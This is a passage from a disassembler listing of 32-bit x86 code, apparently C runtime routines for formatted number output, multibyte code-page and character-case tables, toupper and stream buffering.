XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C510 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC6C4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C520 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C610 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28A0000h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 cmp [ebp+var_18], 1 mov dword_4DC6C4, esi rep stosd stosb mov dword_4DC8E4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC7E1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C530[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C518[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC7E1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC6DC, 1 push eax mov dword_4DC6C4, eax call sub_42008C lea esi, dword_43C524[esi] mov edi, offset dword_4DC6D0 movsd movsd pop ecx mov dword_4DC8E4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC7E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC8E4, eax mov dword_4DC6DC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC6DC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC6D0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB300, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB300, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB300, 1 jmp near ptr 267080Eh ; --------------------------------------------------------------------------- db 0BBh ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB300, 1 jmp near ptr 28A0786h ; --------------------------------------------------------------------------- db 0A9h ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB344 mov dword_4DB300, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC7E0 rep stosd stosb xor eax, eax mov edi, offset dword_4DC6D0 mov dword_4DC6C4, eax mov dword_4DC6DC, eax mov dword_4DC8E4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC6C4 nop call near ptr 28A0000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC8E4 push dword_4DC6C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC8E4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC8E4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC7E1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC6E0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC7E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC6E0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC7E1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC6E0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC7E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC6E0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC914, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC914, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC6DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC7E1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C504, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB27C, ecx mov eax, offset dword_43C610 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C778 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB278, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C614[edx*8] mov dword_4DB278, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB278, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB278, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA08 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA28 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB460 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB304[eax*4], 0 push ebx push edi lea edi, ds:4DB304h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; 